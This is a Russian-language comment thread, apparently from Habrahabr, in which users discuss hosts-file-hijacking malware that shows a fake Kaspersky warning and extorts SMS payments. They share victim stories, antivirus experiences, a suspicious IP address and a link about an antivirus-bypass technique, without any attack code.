Да, вреда-то особого и нет, но… возможно я слишком осторожничаю со своей совестью, полагая, что грань между невинными шутками и серьезными преступлениями вроде финансовых махинаций, промышленного шпионажа и саботажа крайне тонка :)

[eucariot]

Да, много раз уже советовали «Мы». Уже вот-вот у меня дойдут руки) Аналогично и про «скотный двор». А вот за Хаксли спасибо).
Кстати, 1984 очень сильно напоминает «451 по Фаренгейту» Бредберри. Пока читал всё время аналогии проводил.

Я сам не шкодил особенно, поэтому, возможно, просто вас не понимаю. Но, скорее всего вы правы.
Это как у электриков — умирают или зелёные, которые не понимаю, или старики, которые всё знают и уверены, что ничего страшного не будет))

[TigerClaw]

У касперского сайты эти в базе (может по ip, может еще как хитро), поэтому он и не пускал на фишинговые ресурсы. Вопрос в другом как разрешили исправить hosts? Ведь касперский всегда грозно предупреждает при его изменении.

[eucariot]

Касперский тут — это утка. У меня стоит аваст. А вот аваст как-то не среагировал.

[mr_gorbunov]

Касперский тут вообще не при чём, его и в системе-то может не было. Внимательно посмотрите на скриншот сообщения: даже не зная их формата у Касперского, можно логически заключить, что серьезный антивирус не может выдавать такую, простите, туфту :)

[eucariot]

Вы мне говорите? Тема касперского уже раскрыта выше: http://habrahabr.ru/blogs/virus/93289/?reply_to=2830825#comment_2829629.
Ну то есть, я не считаю, что это правда касперский))

[mr_gorbunov]

Это был ответ TigerClaw. Сорри, промазал.

[Ghz]

После писал абузу в ДЦ где находился данный ip, ответа не последовало.

[eucariot]

А что затёрто на картинке?

[Ghz]

Список был многим длиннее=)

[eucariot]

Ясно. В моём случае тоже.
А вот то, что ДЦ молчит — это плохо. Ладно наша милиция не хочет с этим бороться, но «свои»-то ребята могли бы.

[Crankoman]

Только вчера лечил сей не дуг, на компе стоял KAV 2010 в парнойном режиме, но очевидно девочка подросток что то не поняла и разрешила, человек эту фигню подхватил в начале майских и пока меня ждал пытался даже отправить смс, было на счету рублей 200 не сняли, видимо хотели больше, после этой попытки ему пришло смс "%personname% ты что офигел, а ну быстро клади деньги на телефон, мы из Дагестана с нами лучше не связываться", человек офигел и с удвоенной силой пытался выцепить меня на праздниках…

[Crankoman]

да кстати, на следующий день пришла смс от «мегафона» для разблокировки интернета на комьпютере позвоните на короткий номер, а вы говорите школота, не школота, а хорошо организованная группа с продуманными схемами

[ivlis]

Хорошо организованная школота

[eucariot]

И что сделала жертва? Не станешь же закидывать деньги после такого.

[kolen]

И, конечно же, заражение произошло через флеш, который все так хвалят и в котором исправили все уязвимости.

[Kaluchi]

А ещё есть забавная штука svcgoost.exe, которая не оставляет следов в etc/hosts (по-моему она просто удаляет его)

[HoochieMen]

А откуда вы узнали что реально смс стоит не 100 рублей а 250?

[eucariot]

*125*8353# Теле2 рулит.

[AstaRoth]

скоро Kernel HOok Bypassing Engine заработает на полную мощь — проверим тогда наши анвири
www.matousec.com/info/articles/khobe-8.0-earthquake-for-windows-desktop-security-software.php

[Recluse]

113.11.194.160

свеженький